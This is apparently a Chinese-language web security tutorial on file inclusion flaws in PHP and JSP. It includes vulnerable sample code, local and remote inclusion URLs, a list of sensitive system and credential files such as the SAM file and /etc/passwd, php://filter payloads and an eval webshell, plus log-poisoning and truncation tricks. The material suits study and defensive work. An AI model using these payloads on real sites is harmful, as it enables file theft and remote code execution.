Web安全深度剖析(四)

文件包含基础

0x00 PHP包含

四个文件包含函数:include()、include_once()、require()、require_once()

  • 漏洞样例代码

    1
    2
    3
    <?php
    include($_GET['page'])
    ?>
  • 漏洞使用样例

    1
    2
    3
    4
    //本地包含
    url: 127.0.0.1/index.php?page=flag.txt
    //远程包含(需要allow_url_include=on)
    url: 127.0.0.1/index.php?page=127.0.0.2/shell.php
  • 漏洞作用

    1. 读取敏感文件
      常见敏感文件
      Windows

      1
      2
      3
      4
      5
      6
      7
      C:\boot.ini //查看系统版本
      C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
      C:\windows\repair\sam //存储Windows系统初始密码
      C:\ProgramFiles\mysql\my.ini //Mysql配置
      C:\ProgramFiles\data\mysql\user.MYD //Mysql root
      C:\windows\php.ini //php配置信息
      C:\windows\my.ini //Mysql配置文件

      Linux

      1
      2
      3
      4
      5
      6
      /etc/passwd 
      /usr/local/app/apache2/conf/httpd.conf //apache2默认配置文件
      /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
      /usr/local/app/php5/lib/php.ini //PHP相关设置
      /etc/httpd/conf/httpd/conf //apache配置文件
      /etc/my.conf //Mysql配置文件
    2. 远程包含shell
      如样例

    3. 本地包含配合文件上传
      上传文件后,通过本地包含来访问它
    4. 使用php封装协议

      • 读取php源码

        1
        http://127.0.0.1/index.php?page=php://filter/read=convert.base64-encode/resource=flag.php
      • 写入php文件(需要allow_url_include=on)

        1
        2
        3
        url:http://127.0.0.1/index.php?page=php://filter/read=convert.base64-encode/resource=flag.php
        提交数据: <?php eval($_GET('pass')) ?>
        生成的文件与index.php同目录
      • 详见PHP伪协议

    5. 包含apache日志文件
      当无法上传文件时,可以通过调用apache的日志文件error.log来执行shell.
      error.log会记录我们的错误请求,但其中的关键字符被转义(可通过burp绕过转义).

    6. 截断包含(magic_quotes_gpc=off)
      若服务器默认将你上传的文件加上扩展名,可利用00截断绕过
      php老版本还有一个截断漏洞 index.php?page=shell.php././././././… //超过一定数量的”./“

      0x01 JSP包含

  1. 静态包含
    include只允许使用常量作为参数,因此不存在文件包含漏洞

    1
    <%@ include file="a.txt" %>
  2. 动态包含

    • jsp包含不是jsp扩展名的文件时不会对其解析

      1
      <jsp:incldue page="<%=pages%>"></jsp:include>
    • Servlet文件包含

      1
      url: 127.0.0.1/Jsp/GetHtml?filename=./WEB-INF/web.html&outName=out

      将web.xml的内容转移到out.html
      在服务器跳转时,通常会使用RequestDispatcher接口中的forward的方法.在url转发过程中,会暴露web.xml

      1
      url: 127.0.0.1/Jsp/Forward?pathName=./WEB-INF/web.xml